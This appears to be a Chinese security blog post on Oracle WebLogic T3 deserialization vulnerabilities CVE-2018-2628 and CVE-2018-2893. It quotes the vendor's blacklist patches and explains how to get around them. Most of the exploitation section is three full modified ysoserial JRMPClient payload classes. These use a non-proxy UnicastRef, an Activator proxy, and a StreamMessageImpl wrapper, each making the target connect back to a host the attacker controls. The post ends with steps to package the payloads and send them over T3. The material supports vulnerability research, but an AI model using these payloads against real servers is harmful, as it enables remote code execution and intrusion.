Java 安全之Weblogic 2018-2628&2018-2893分析

Java 安全之Weblogic 2018-2628&2018-2893分析

0x00 前言

续上一个weblogic T3协议的反序列化漏洞接着分析该补丁的绕过方式，根据weblogic的补丁仍是挺难找的，后面的分析中没有补丁看不到weblogic修复的细节，可是也不难猜处weblogic的这些修复都是老作法，使用黑名单的方式去进行修补漏洞。

0x01 补丁分析

因为没拿到补丁，这里从廖师傅文章里面扣除补丁的细节。

protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
   String[] arr$ = interfaces;
   int len$ = interfaces.length;
   for(int i$ = 0; i$ < len$; ++i$) {
      String intf = arr$[i$];
      if(intf.equals("java.rmi.registry.Registry")) {
         throw new InvalidObjectException("Unauthorized proxy deserialization");
      }
   }
   return super.resolveProxyClass(interfaces);
}

weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream类的地方添加了一个resolveProxyClass方法，将resolveProxyClass给重写了，添加了一个传递过来的数据对应的接口进行遍历验证，若是为java.rmi.registry.Registry的话就直接抛出异常。若是不为java.rmi.registry.Registry就调用父类的resolveProxyClass。

0x02 绕过思路

在2018-2628的绕过方式其实有两种，分别是：

1. 在补丁里面仅仅只是限制了须要反序列化的数据为使用java.rmi.registry.Registry之外的类的接口，可是其实远程对象的接口不止java.rmi.registry.Registry这么一个。

廖师傅这里提供的绕过方式是将该接口替换成java.rmi.activation.Activator。便可绕过。

2. ysoserial修改把Proxy部分去除掉，便可绕过补丁。这里来思考一下为何Proxy部分去除就能够绕过了呢？

在前面的原生readobject分析文章里面讲到过readobject里面会走两个分支，反序列化的是动态代理的对象的话就会走resolveProxyClass分支里面，这里去除了Proxy部份内容，也就是说不使用动态代理的方式生成payload进行反序列化天然不会走到resolveProxyClass分支里面去。

0x03 利用思路

后面的调试内容，其实和前面的都是同样的，这里直接讲讲利用。

改写ysoserial

利用思路一,不使用代理对象：

package ysoserial.payloads;


import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;

import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.util.Random;



public class JRMPClient1 extends PayloadRunner implements ObjectPayload<Object> {

    public Object getObject(final String command) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if (sep < 0) {
            port = new Random().nextInt(65535);
            host = command;
        } else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        return ref;
    }


    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient1.class.getClassLoader());
        PayloadRunner.run(JRMPClient1.class, args);
    }
}

对JRMPClient作一个小小的改动。

利用方式二，修改实现的远程接口为java.rmi.activation.Activator：

package ysoserial.payloads;


import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;

import java.lang.reflect.Proxy;
import java.rmi.activation.Activator;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;


@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Activator> {

    public Activator getObject (final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] {
            Activator.class
        }, obj);
        return proxy;
    }


    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());
        PayloadRunner.run(JRMPClient2.class, args);
    }
}

0x04 CVE-2018-2893

CVE-2018-2893是CVE2018-2628的绕过，先来查看一下CVE-2018-2628的补丁细节

private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"};

改写ysoserial

这里利用方式是将远程的gadget对象封装进streamMessageImpl类里面，和CVE-2016-0638同样，不过这里用的是JRMPClient的gadget。

在改写的时候须要，注意几个细节。JDK里面没有streamMessageImpl类，这里须要讲weblogic的一些依赖jar包和类的代码给复制过来。这里是讲weblogic_cmd里面的部份内容扣出来放到了yso里面。

package ysoserial.payloads;


import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import weblogic.jms.common.StreamMessageImpl;
import ysoserial.Serializer;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;

import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;


@SuppressWarnings ( {
    "restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Object> {

    public Object streamMessageImpl(byte[] object) {
        StreamMessageImpl streamMessage = new StreamMessageImpl();
        streamMessage.setDataBuffer(object, object.length);
        return streamMessage;
    }

    public Object getObject (final String command ) throws Exception {
        String host;
        int port;
        int sep = command.indexOf(':');
        if (sep < 0) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID objID = new ObjID(new Random().nextInt());
        TCPEndpoint tcpEndpoint = new TCPEndpoint(host, port);
        UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, tcpEndpoint, false));
        RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef);
        Object object = Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Registry.class }, remoteObjectInvocationHandler);
        return streamMessageImpl(Serializer.serialize(object));
    }


    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader());
        PayloadRunner.run(JRMPClient3.class, args);
    }
}

参考文章

Weblogic JRMP反序列化及绕过度析

weblogic之CVE-2017-3248，CVE-2018-2628,CVE-2018-2893，CVE-2018-3245反序列绕过度析

0x05 末尾的絮絮不休

其实知道绕过方式和利用方式后，从yso进行一个修改打包成jar包，使用到上次2017-3248的时候用到的exp修改参数，经过T3协议发送payload过去就能够实现绕过了。和前面的内容都是同样的都是同一个漏洞，因此在这里不作多的赘述。